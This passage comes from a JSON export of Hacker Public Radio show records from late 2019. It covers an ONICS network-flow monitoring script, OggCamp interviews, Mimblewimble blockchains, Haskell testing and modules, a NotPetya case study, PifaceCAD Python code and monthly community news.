                                                            #!/bin/sh\n\n# Start a capture in the background that drops the packets\n# and just reports the flow events\npktin $1 | nftrk -d -f /tmp/flows.txt &\nPID=$!\n\n# On CTRL-C clean kill the capture and clean up\ntrap "kill $PID ; rm -f /tmp/flows.txt /tmp/topflows.txt /tmp/namecache.txt ; exit 0" INT TERM\n\n# Once per second do\n#   look at the last 100 flows\n#   sort them by 5-tuple\n#   remove duplicates\n#   convert ports, protocols and addresses to names\n#   sort by data usage per flow in reverse order (highest first)\n#   a little more pretty printing\n#   only take the top 20 lines\n#   clear the screen and print the result\nwhile [ 1 ] ; do\n    tail -100 /tmp/flows.txt |\n            sort -s -t '|' -k 3,3 |\n            awk -f uniqflows.awk  |\n            awk -f prflow.awk  |\n            sort -s -t ',' -k 3 -r |\n            awk -f columns.awk |\n            head -20 > /tmp/topflows.txt\n    clear\n    cat /tmp/topflows.txt\n    sleep 1\ndone\n
                                                            \n

                                                            You can find the complete code at: https://gitlab.com/onics/onics-examples

                                                            \n","hostid":259,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"command line networking","version":0,"downloads":0,"valid":1}, {"id":2945,"date":"2019-11-15","title":"Saturday at OggCamp Manchester 2019","duration":2225,"summary":"Interviews and chat from the UK's largest FLOSS event.","notes":"

                                                            \nOggCamp is an unconference celebrating Free Culture, Free and Open Source Software, hardware hacking, digital rights, and all manner of collaborative cultural activities and is committed to creating a conference that is as inclusive as possible.
                                                            \nThis year a team of HPR volunteers hit the show.\n

                                                            \n

                                                            \n
                                                            \nKen's recording kit and some of the stickers.\n

                                                            \n

                                                            \n
                                                            \nDave, Andrew Conway/mcnalu and Timttmy getting the booth ready.\n

                                                            \n

                                                            \n
                                                            \nOnly HPR hosts can sign the booth.\n

                                                            \n

                                                            \n
                                                            \nYannick signs the booth.\n

                                                            \n

                                                            \n
                                                            \nTimttmy's script to turn an Android phone into a webcam. Two versions of the script to take a screenshot and post it to the web.\n

                                                            \n

                                                            \n
                                                            \nSurveillance state ?\n

                                                            \n

                                                            \n
                                                            \nOur latest host Nihilazo signs the booth.\n

                                                            \n

                                                            \n
                                                            \nAn Interview with Ban Parsons from the Matrix An open network for secure, decentralized communication\n

                                                            \n

                                                            \n
                                                            \nAn Interview with mystorm.uk makers of the open FPGA. An FPGA chip is a re-programmable piece of silicon hardware, it can be reconfigured or programmed to a logic circuit of your own design.\n\n
                                                            \nIn 2016 we decided to setup up the myStorm project in order to build OpenSource FPGA hardware. Several years later we are building the 5th generation of BlackIce Development boards. BlackIce Mx the latest generation of our hardware has been built using BlackEdge open hardware standard which enable the 'Core' Board IceCore to be separated from its carrier board which provides MixMod and Pmod hardware add-ons. Please take a look at the myStorm forum to ask questions and participate in our community. \n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \nAn Interview with Erik Grun of the Free Software Foundation Europe about their campaign for Public Money? Public Code!\n

                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"OGGCamp, FSFE, Matrix, BlackEdge, mystorm, blackice, fswebcam, android, sshpass","version":0,"downloads":0,"valid":1}, {"id":2946,"date":"2019-11-18","title":"Sunday at OggCamp Manchester 2019","duration":3378,"summary":"Interviews and chat from the UK's largest FLOSS event.","notes":"

                                                            \n
                                                            \nbeni, Andrew Conway/mcnalu, Timttmy, and Dave at the HPR booth.\n

                                                            \n

                                                            \n
                                                            \nMichael from Electric Flap Jack Custom Built Guitars, and author of Fretboard Template Generator available on GitHub\n

                                                            \n

                                                            \n
                                                            \nPerspex template for carving the body and neck.\n

                                                            \n

                                                            \n
                                                            \nA work in progress.\n

                                                            \n

                                                            \n
                                                            \nTools for making guitar, including the tool to round the frets.\n

                                                            \n

                                                            \n
                                                            \nAnd of course you need a guitar stand.\n

                                                            \n

                                                            \n
                                                            \nFretboard Template Generator available on GitHub\n

                                                            \n

                                                            \n
                                                            \nTai Kedzierski hanging out with \"Grumpy\" Mike Cook.\n

                                                            \n

                                                            \n
                                                            \nMike produces electronic musical instruments for people with accessibility issues.\n

                                                            \n

                                                            \n
                                                            \nHe also has a book called Arduino Music and Audio Projects to help you do this yourself.\n

                                                            \n

                                                            \n
                                                            \n\nAt Drake Music we are leaders in music, disability and technology.
                                                            \nWe are innovators, educators, curators and advocates. We believe everyone has the right to express themselves creatively through music. We use new technologies and ideas to open up access to music for all. Our vision is a world where disabled and non-disabled musicians work together as equals.
                                                            \n

                                                            \n

                                                            \n
                                                            \nThe bat base.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \nThe Cattle Caster.\n

                                                            \n

                                                            \n
                                                            \nThe Arduino Caster\n

                                                            \n

                                                            \n
                                                            \nThe Open Rights Group.
                                                            \n\nOpen Rights Group protects the digital rights of people in the UK including privacy and free speech online. We are funded by over 3,000 people like you.\n\n

                                                            \n

                                                            \n
                                                            \nManchester Grey Hats
                                                            \n

                                                            Manchester Grey Hats is a place for all those interested in hacking and cyber security to learn and share. We run capture the flags, workshops and perform/present security research.

                                                            \n

                                                            We encourage all skill levels and those from all backgrounds. Are you an aspiring hacker or a developer thinking about security? Come along and learn. Presenting is open to all members, so if you have something you’d like to present but aren’t ready for the big conferences, get in touch.

                                                            \n\n

                                                            Said best by The Mentor – “This is our world now… the world of the electron and the switch, the beauty of the baud”

                                                            \n\n

                                                            Although we meet face to face once a month, MGH is mostly an online community. We encourage people to join us in person for workshops and events but if you can't, join us on Slack and our live stream.

                                                            \n

                                                            \n

                                                            \n
                                                            \nAn example of the of the locks that needed to be picked for the FlawCon Capture the Flag event.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \nHow to hold the lock while you are picking it.\n

                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"OGGCamp, FSFE, Matrix, BlackEdge, mystorm, blackice, fswebcam, android, sshpass","version":0,"downloads":0,"valid":1}, {"id":2947,"date":"2019-11-19","title":"The Mimblewimble Protocol","duration":1261,"summary":"mimblewimble is a new blockchain protocol for scalability, privacy and fungibility","notes":"

                                                            Financial privacy is critical for adoption of cryptocurrency as a means of exchange. Individuals worry about employers monitoring their spending details, insurers increasing rates based on purchases and landlords raising rents when they get a promotion. Businesses can only operate using cryptocurrency if they can prevent disclosure of vendor payments, rates paid to suppliers, payroll details, and so on. At the same time, they need to selectively disclose financial data to governments and might need to demonstrate compliance in some industries.

                                                            \n

                                                            Mimblewimble is a new protocol that uses cryptography to achieve striking reductions in blockchain size, so users can run a full node on low powered devices like phones. It offers the strongest privacy protection assurances around, through a variety of clever tricks. For one thing, transaction history is not recorded, which also results in a smaller blockchain. There are no addresses and no transaction amounts are recorded.

                                                            \n

                                                            We’re not going to focus on the cryptography, although it’s a fascinating example of just how much progress is being made in recent years. We’ll focus instead on what makes this mysterious network protocol unique among cryptocurrencies.

                                                            \n","hostid":379,"series":110,"explicit":0,"license":"CC-BY-SA","tags":"blockchain, privacy","version":0,"downloads":0,"valid":1}, {"id":2948,"date":"2019-11-20","title":"Testing with Haskell","duration":2560,"summary":"Introduction on HSpec and QuickCheck","notes":"

                                                            Intro

                                                            \n

                                                            I have liked writing automated tests for a long time, so it’s not a surprise that I end up writing them in Haskell too. This is very broad topic, so this episode only scratches the surface.

                                                            \n

                                                            HSpec

                                                            \n

                                                            HSpec is testing framework that automatically detects tests, like most of the modern systems. It supports hierarchies, so one can organize tests by feature for example.

                                                            \n
                                                            spec :: Spec\nspec = do\n    describe "Very important feature" $ do\n        it "Execution should be error free" $ do\n            ...\n\n        it "Flux capacitors can be charged" $ do\n            ...\n\n    describe "Somewhat less important feature" $ do\n        ...
                                                            \n

                                                            Unit test

                                                            \n

                                                            Unit test tests a single case with fixed set of inputs. With pure functions these are a pleasure to write as they’re really just data in, data out, verify results. Below is two examples:

                                                            \n
                                                            spec :: Spec\nspec = do\n    describe "Markov chain configuration" $ do\n        it "Adding new starting element to empty configuration creates item with frequency of 1" $ do\n            let config = addStart ("AA" :: DT.Text) emptyConfig\n            config ^? (configStartsL . _head . itemFreqL) `shouldBe` Just 1\n            config ^? (configStartsL . _head . itemItemL . _Just) `shouldBe` Just "AA"\n\n        it "Adding same element twice to empty configuration creates item with frequency of 2" $ do\n            let config = addStart "AA" $\n                         addStart ("AA" :: DT.Text) emptyConfig\n            config ^? (configStartsL . _head . itemFreqL) `shouldBe` Just 2\n            config ^? (configStartsL . _head . itemItemL . _Just) `shouldBe` Just "AA"
                                                            \n

                                                            Both are for testing configuring markov chains. First one checks that adding a starting element in empty configuration results correct item with correct weight being added. Second checks that adding same starting element twice results weight of 2.

                                                            \n

                                                            Both tests use lenses for reading nested data structure. Episode doesn’t cover them much at all, as it’s enough to know that (configStartsL . _head . itemFreqL) focuses on starting elements of configuration, selects first item of the list and then selects frequency of that item. Lenses can also be used for modifying data and they don’t have to focus on only one element.

                                                            \n

                                                            Unit tests are easy enough to write, they verify single thing about the unit being tested and are usually super fast to run and not error prone.

                                                            \n

                                                            Property based test

                                                            \n

                                                            Property based tests are used to check that a certain property holds with randomly generated input parameters. I’m using HSpec as testing framework and QuickCheck as tool for generating test data:

                                                            \n
                                                            spec :: Spec\nspec = do\n    describe "planets" $ do\n        describe "food" $ do\n            it "food requirement for positive amount of population is more than zero" $ do\n                forAll positivePopulation $ \\x -> foodRequirement x  > RawResource 0\n\n            it "food base production for farms is equal or greater than their amount" $ do\n                forAll someFarms $ \\x -> (sum (fmap foodBaseProduction x)) > (RawResource $ length x)
                                                            \n

                                                            Above we have two tests. First one checks that with any non-zero population, foodRequirement is greater than 0. Second one check that with any positive amount of farm, foodBaseProduction is greater than amount of the farms.

                                                            \n

                                                            positivePopulation is Generator, that is used by QuickCheck to generate random data for testing. Its definition is shown below:

                                                            \n
                                                            singlePopulation :: Gen PlanetPopulation\nsinglePopulation = do\n    let aPlanetId = toSqlKey 0\n    let aRaceId = toSqlKey 0\n    aPopulation <- arbitrary `suchThat` \\x -> x > 0\n    return $ PlanetPopulation aPlanetId aRaceId aPopulation\n\npositivePopulation :: Gen [PlanetPopulation]\npositivePopulation = do\n    k <- arbitrary `suchThat` \\x -> x > 0\n    vectorOf k singlePopulation
                                                            \n

                                                            Generated data can be really simple or very complex. Generating complex data is often convenient to break into smaller steps and write generators for them.

                                                            \n

                                                            Property based tests are somewhat harder to write than unit tests, but they can potentially cover edge cases that might otherwise not been discovered.

                                                            \n

                                                            Working with database

                                                            \n

                                                            All tests shown so far have been testing pure code, that is, code that is data in, data out. When database is introduced, things get more complicated. Suddenly there’s much more possibilities for errors. Below is an example of such a test:

                                                            \n
                                                            spec :: Spec\nspec = withApp $ do\n\n    describe "Status handling"  $ do\n        describe "Planet statuses"  $ do\n            it "Expired planet statuses are removed and news created" $ do\n\n                sId <- runDB $ insert $ StarSystem\n                        { starSystemName = "Aldebaraan"\n                        , starSystemCoordX = 10\n                        , starSystemCoordY = 20\n                        , starSystemRulerId = Nothing\n                        }\n\n                fId <- runDB $ insert $ Faction\n                        { factionName = "Star lords"\n                        , factionHomeSystem = sId\n                        , factionBiologicals = 10\n                        , factionMechanicals = 10\n                        , factionChemicals = 10\n                        }\n\n                pId1 <- runDB $ insert $ Planet\n                        { planetName = "New Earth"\n                        , planetPosition = 3\n                        , planetStarSystemId = sId\n                        , planetOwnerId = Just fId\n                        , planetGravity = 1.0\n                        , planetRulerId = Nothing\n                        }\n\n                _ <- runDB $ insert $ PlanetStatus\n                        { planetStatusPlanetId = pId1\n                        , planetStatusStatus = GoodHarvest\n                        , planetStatusExpiration = Just 20201\n                        }\n\n                let status = Simulation 20201\n                _ <- runDB $ insert status\n\n                news <- runDB $ removeExpiredStatuses (simulationCurrentTime status)\n\n                statuses <- runDB $ selectList [ PlanetStatusPlanetId ==. pId1 ] []\n                loadedNews <- runDB $ selectList [] [ Asc NewsDate ]\n\n                liftIO $ statuses `shouldSatisfy` (\\x -> length x == 0)\n                liftIO $ news `shouldSatisfy` (\\x -> length x == 1)\n                liftIO $ loadedNews `shouldSatisfy` (\\x -> length x == 1)
                                                            \n

                                                            There’s a lot more code that had to be written for this test and majority of it is for setting up database state. The test if for ensuring that when good harvest boost expires, it is removed from database and respective news article is created.

                                                            \n

                                                            These kinds of tests have a lot more code and are much more slower to run because of the communication with a database. There’s also more cases where something can go wrong. But in the end, these kinds of tests are needed if one wants to verify that interaction with database is working as planned.

                                                            \n

                                                            Testing API

                                                            \n

                                                            Last example is about testing REST API. There are two tests, where the first one is checking that proper access control is in place and second one checks that pending messages are correctly retrieved.

                                                            \n
                                                            spec :: Spec\nspec = withApp $ do\n    describe "Message handling" $ do\n        it "unauthenticated user can't access messages" $ do\n            _ <- get ApiMessageR\n            statusIs 401\n\n        it "pending messages are loaded" $ do\n            (pId, fId) <- setupPerson\n            _ <- runDB $ insert $ researchCompleted 25250 fId HighSensitivitySensors\n            user <- createUser "Pete" (Just pId)\n            authenticateAs user\n            _ <- get ApiMessageR\n            resp <- getResponse\n            let jsonM = join (decode <$> simpleBody <$> resp) :: Maybe Value\n\n            assertEq "message tag"\n                     (jsonM ^? (_Just . _Array . _head . key "tag" . _String))\n                     (Just "ResearchCompleted")\n            assertEq "star date"\n                     (jsonM ^? (_Just . _Array . _head . key "starDate" . _Integer))\n                     (Just 25250)\n            assertEq "technology"\n                     (jsonM ^? (_Just . _Array . _head . key "contents" . key "Technology" . _String))\n                     (Just "HighSensitivitySensors")\n\n            statusIs 200
                                                            \n

                                                            Here extra complication is created by the fact that many features of the system are behind authentication and authorization. Luckily Yesod comes with helper function authenticateAs, that allows code to authenticate when system is running in development mode.

                                                            \n

                                                            These test are even slower than any of the previous ones, but on the other hand, they test whole chain from user interaction to database and back.

                                                            \n

                                                            In closing

                                                            \n

                                                            There’s lots of things that I couldn’t cover in such a short time, like various types of tests: UI testing, performance testing, security testing, long running testing…, the list goes on and on. But hopefully this episode gave you ideas what kinds of tests one can write and how to get started doing so using Haskell.

                                                            \n

                                                            Best way to reach me is email or at fediverse, where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, testing, HSpec, QuickCheck","version":0,"downloads":0,"valid":1}, {"id":2949,"date":"2019-11-21","title":"Grin and Beam: The 2 major mimblewimble blockchains","duration":1387,"summary":"Grin and Beam are two mimblewimble implementations that are very different & we take a look at both","notes":"

                                                            Last time we reviewed the mimblewimble protocol for blockchain networks. This is an innovative protocol focused on privacy and scalability.

                                                            \n

                                                            In this episode we take a closer look at the two major implementations of mimblewimble, called Grin and Beam. They are both interesting projects that take very different approaches, yet both have managed to launch working blockchains that preserve the core strengths of the protocol.

                                                            ","hostid":379,"series":110,"explicit":1,"license":"CC-BY-SA","tags":"blockchain, privacy","version":0,"downloads":0,"valid":1}, {"id":2950,"date":"2019-11-22","title":"NotPetya and Maersk: An Object Lesson","duration":861,"summary":"Looking at an object lesson for proper IT management processes and the cost of failure","notes":"

                                                            We previously looked at the NIST Security Framework, which lays out how organizations should manage their network security. That may have seemed a bit dry, so let’s look at this case study to put some flesh on those dry bones. Failing to manage your security risks properly can have significant consequences.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"IT Management, Security","version":0,"downloads":0,"valid":1}, {"id":2951,"date":"2019-11-25","title":"A walk through my PifaceCAD Python code – Part 2","duration":888,"summary":"In this episode I cover some generic functions at the top of the code.","notes":"

                                                            Code

                                                            \n

                                                            The script being discussed in this show is available for download with this show: cad-menu.py

                                                            \n

                                                            GENERIC FUNCTIONS

                                                            \n
                                                              \n
                                                            • def get_hpr_que():
                                                              \nGoto hacker public stats page and extract the number of days to next free slot turns on blinkstick LED with colour dependent on the number of days to next free slot in HPR queue prints number of days to next free slot to the display
                                                            • \n
                                                            \n

                                                            GENERIC BLINKSTICK FUNCTIONS

                                                            \n
                                                              \n
                                                            • def bstick_off():
                                                              \nSearch for all attached blinksticks and turn them all off

                                                            • \n
                                                            • def bstick_on(colour):
                                                              \nTurn blinkstick on and set led colour to string value stored in var colour. valid colours are, black, silver, gray, white, maroon, red, purple, fuchsia, green, lime, olive, yellow, navy, blue, teal, aqua

                                                            • \n
                                                            • def bstick_on_random():
                                                              \nTurn blinkstick on colour random

                                                            • \n
                                                            • def bstick_blink(colour):
                                                              \nTurn blinkstick on with supplied colour

                                                            • \n
                                                            \n

                                                            END BLINKSTICK FUNCTIONS

                                                            \n
                                                              \n
                                                            • def run_cmd(cmd):
                                                              \nUsed to run an external linux command

                                                            • \n
                                                            • def get_my_ip():
                                                              \nReturns ip address

                                                            • \n
                                                            • def get_my_essid():
                                                              \nReturns wifi ESSID

                                                            • \n
                                                            • def get_my_wifi_strength():
                                                              \nReturns wifi signal strength as a percentage

                                                            • \n
                                                            • def wait_for_ip():
                                                              \nTries 10 times to get IP address

                                                            • \n
                                                            • def show_wifi_info():
                                                              \nShow WiFi information on display, shows essid on first line and both the wifi signal strength as a percentage and ip address on the second line.

                                                            • \n
                                                            • def custom_bitmaps():
                                                              \nSelection of custom bitmaps to use on LCD display

                                                            • \n
                                                            • Article in pifacecad documentation giving details about creating custom bitmaps on the pifacecad
                                                              \nhttps://piface.github.io/pifacecad/creating_custom_bitmaps.html

                                                            • \n
                                                            • This tool referenced in the pifacecad documentation link above can help design custom bitmaps. Make sure you select 5x8
                                                              \nhttps://www.quinapalus.com/hd44780udg.html

                                                            • \n
                                                            • def writelongstring(longstring):
                                                              \nWrites a long string to the piface control and display LCD & scrolls it to the left until the last character appears on the right hand side of the screen

                                                            • \n
                                                            \n
                                                            # Local Variables (for function writelongstring)\nDisplaySize = 15\n# Number of characters  that can be displayed on 1 line of display\n\nStepSize = 4\n# Step size when scrolling message on display\n\nScrollSpeed =   0.55\n# Adjusts scroll speed, delay in seconds between scrolls\n\nScroll = 0\n# Default value for scroll, used when string is smaller than display size
                                                            \n
                                                              \n
                                                            • def init_display():
                                                              \n# Setup LCD display for selected menu 0 (Podcasts), 1 (Audiobooks), 2 (System)

                                                            • \n
                                                            • def display_main_menu(event):
                                                              \n# Clear LCD & dsplays the appropriate main menu message

                                                            • \n
                                                            \n","hostid":201,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"Podcasts, Linux, Command Line, Python, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2952,"date":"2019-11-26","title":"Publishing your book using open source tools","duration":1562,"summary":"How I evolved from writing with a publisher to self-publishing using open source tools","notes":"

                                                            Printing on demand website: https://www.lulu.com

                                                            ","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"asciidoc,asciidoctor,lulu,writing,books","version":0,"downloads":0,"valid":1}, {"id":2953,"date":"2019-11-27","title":"How I got started in Linux","duration":276,"summary":"How I start in Linux, computing, and Free Software","notes":"

                                                            Osdisc.com is the website that I mentioned while distro hopping. Unfortunately, as of August 2019, their site is no longer sending CD’s/DVD’s.

                                                            \n

                                                            How I recorded:
                                                            \nAndroid phone, lapel mic, and Audio Recorder app found here:

                                                            \n

                                                            https://play.google.com/store/apps/details?id=com.github.axet.audiorecorder

                                                            \n

                                                            And here:

                                                            \n

                                                            https://f-droid.org/en/packages/com.github.axet.audiorecorder/

                                                            \n","hostid":318,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Linux, FreeBSD, Computers","version":0,"downloads":0,"valid":1}, {"id":2954,"date":"2019-11-28","title":"Wrestling As You Like It episode 1","duration":462,"summary":"A Wrestling podcast reporting on indie wrestling. Today we are talking about different TV styles.","notes":"

                                                            TV and pro wrestling go hand in hand. Both have fed off of each other, and with the internet we are now exposed to many different promotions with their own visual style in order to broadcast wrestling in the ring.

                                                            \n","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Pro Wrestling","version":0,"downloads":0,"valid":1}, {"id":2955,"date":"2019-11-29","title":"Machine Learning / Data Analysis Basics","duration":1293,"summary":"We talk about different machine learning techniques","notes":"

                                                            In this episode, I talk about different techniques that we can use to predict the outcome of some question depending on input features.

                                                            \n

                                                            The different techniques I will go through are the ZeroR and OneR that will create a baseline for the rest of the methods.

                                                            \n

                                                            Next up, we have the Naive Bayes classifier that is simple but powerful for some applications.

                                                            \n

                                                            Nearest neighbor and Decision trees are next up that requires more training but is very efficient when you infer results.

                                                            \n

                                                            Multi-layer perceptron (MLP) is the first technique that is close to the ones we usually see in Machine Learning frameworks used today. But it is just a precursor to Convolutional Neural Network (CNN) because of the size requirements. MLPs have the same size for all the hidden layers, which makes it unfeasible for larger networks.

                                                            \n

                                                            CNNs, on the other hand, uses subsampling that will shrink the layer maps to reduce the size of the network without reducing the accuracy of the predictions.

                                                            \n

                                                            Links

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"machine learning, basics, theory","version":0,"downloads":0,"valid":1}, {"id":2956,"date":"2019-12-02","title":"HPR Community News for November 2019","duration":5211,"summary":"Dave, Jeroen and Ken talk about shows released and comments posted in November 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Nihilazo, \n Daniel Persson.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2935Fri2019-11-01The work of fire fighters, part 3Jeroen Baten
                                                            2936Mon2019-11-04HPR Community News for October 2019HPR Volunteers
                                                            2937Tue2019-11-05Lord D's Film Reviews: His Girl Fridaylostnbronx
                                                            2938Wed2019-11-06Naming pets in space gameTuula
                                                            2939Thu2019-11-07Submit a show to Hacker Public Radio in 10 easy stepsMr. Young
                                                            2940Fri2019-11-08Better Social Media 05 - MastodonAhuka
                                                            2941Mon2019-11-11Server Basics 107: Minishift and container managementklaatu
                                                            2942Tue2019-11-12Why I love lispsNihilazo
                                                            2943Wed2019-11-13Music as Lifebrian
                                                            2944Thu2019-11-14ONICS Basics Part 4: Network Flows and ConnectionsGabriel Evenfire
                                                            2945Fri2019-11-15Saturday at OggCamp Manchester 2019Ken Fallon
                                                            2946Mon2019-11-18Sunday at OggCamp Manchester 2019Ken Fallon
                                                            2947Tue2019-11-19The Mimblewimble Protocolmightbemike
                                                            2948Wed2019-11-20Testing with HaskellTuula
                                                            2949Thu2019-11-21Grin and Beam: The 2 major mimblewimble blockchainsmightbemike
                                                            2950Fri2019-11-22NotPetya and Maersk: An Object LessonAhuka
                                                            2951Mon2019-11-25A walk through my PifaceCAD Python code – Part 2MrX
                                                            2952Tue2019-11-26Publishing your book using open source toolsJeroen Baten
                                                            2953Wed2019-11-27How I got started in LinuxArcher72
                                                            2954Thu2019-11-28Wrestling As You Like It episode 1TheDUDE
                                                            2955Fri2019-11-29Machine Learning / Data Analysis BasicsDaniel Persson
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr1585\n(2014-08-29) \"36 - LibreOffice Calc - Financial Functions - Loan Payments\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ntimttmy on 2019-11-30:\n\"Thanks\"
                                                              • \n
                                                              • \nComment 2:\nAhuka on 2019-11-30:\n\"I'm glad it helped\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 14 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr2935\n(2019-11-01) \"The work of fire fighters, part 3\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-11-05:\n\"That sucks\"
                                                              • Comment 2:\nKen Fallon on 2019-11-05:\n\"That blows\"
                                                              • Comment 3:\nKen Fallon on 2019-11-05:\n\"You're Fired\"

                                                              \n
                                                            • hpr2936\n(2019-11-04) \"HPR Community News for October 2019\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlostnbronx on 2019-11-04:\n\"Ken's Voice Is Better Than espeak\"
                                                              • Comment 2:\nJon Kulp on 2019-11-05:\n\"Pots\"
                                                              • Comment 3:\nclacke on 2019-11-19:\n\"Release order or episode order?\"

                                                              \n
                                                            • hpr2939\n(2019-11-07) \"Submit a show to Hacker Public Radio in 10 easy steps\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2019-11-07:\n\"Clarification\"

                                                              \n
                                                            • hpr2940\n(2019-11-08) \"Better Social Media 05 - Mastodon\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2019-11-08:\n\"Simple Mastodon Timeline View Option\"

                                                              \n
                                                            • hpr2942\n(2019-11-12) \"Why I love lisps\"\nby Nihilazo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-11-12:\n\"welcome\"
                                                              • Comment 2:\nCarl on 2019-11-21:\n\"Well Done\"
                                                              • Comment 3:\ngerryk on 2019-11-22:\n\"loved it\"

                                                              \n
                                                            • hpr2943\n(2019-11-13) \"Music as Life\"\nby brian.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCarl on 2019-11-21:\n\"Interesting Episode\"

                                                              \n
                                                            • hpr2944\n(2019-11-14) \"ONICS Basics Part 4: Network Flows and Connections\"\nby Gabriel Evenfire.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2019-11-27:\n\"This is wonderful\"

                                                              \n
                                                            • hpr2955\n(2019-11-29) \"Machine Learning / Data Analysis Basics\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2019-11-29:\n\"Great first episode\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-November/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Stand at FOSDEM

                                                            \n

                                                            Our proposal for a “Free Culture Podcasts” stand at FOSDEM was accepted for the Sunday 2nd February. This is fantastic news as this is the largest FLOSS event in Europe and is absolutely thronged the whole day.

                                                            \n

                                                            https://fosdem.org/2020/news/2019-11-19-accepted-stands/

                                                            \n

                                                            Anyone going to FOSDEM, and who would like to help staff the booth on Sunday please get in touch.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month: Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 5 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2957,"date":"2019-12-03","title":"Lord D's Film Reviews: Ever","duration":1025,"summary":"Lostnbronx reviews a recent drama/romance.","notes":"

                                                            Ever
                                                            \nWritten/Directed by Josh Beck
                                                            \nStarring Wendy McColm & Christina Elizabeth Smith
                                                            \nCinematography by Micah Van Hove
                                                            \nRunning Time: 1:37:42

                                                            \n

                                                            https://www.youtube.com/watch?v=5F-XfwIvmMg

                                                            \n

                                                            A young woman named Ever, while grieving over a devastating loss, meets Emily, who helps her to heal and find love again.

                                                            \n","hostid":107,"series":109,"explicit":0,"license":"CC-0","tags":"review, film, lord d","version":0,"downloads":0,"valid":1}, {"id":2958,"date":"2019-12-04","title":"Haskell modules","duration":1387,"summary":"Tuula talks about haskell modules","notes":"

                                                            With small programs it’s easy enough to have all code in single file. But as the program grows, you eventually want to organize things into separate files. In this episode I’ll talk a bit how to define modules and how to use them.

                                                            \n

                                                            Defining

                                                            \n

                                                            Each module is defined in separate file. In our example, we have file called multiplexer.hs, which contains our module definition.

                                                            \n

                                                            At the beginning of the file, we have following:

                                                            \n
                                                            module Multiplexer (mix, match, Plexer, Scooper(..))\n  where\n  ....
                                                            \n

                                                            We’re omitting actual function and type definitions as they aren’t important to this episode. In any case, there’s two functions: mix and match and two types: Plexer and Scooper that module exports (that is, these are available outside of the module). Plexer is imported as a type only and Scooper with field accessors or value constructors depending if it’s a record or algebraic datatype.

                                                            \n

                                                            Using modules

                                                            \n

                                                            In order to be able to use identifiers defined in separate module, we have to import them into our current one. In our imaginary program, we have main.hs that defines entry point for our program and we would like to import the definitions from Multiplexer module.

                                                            \n

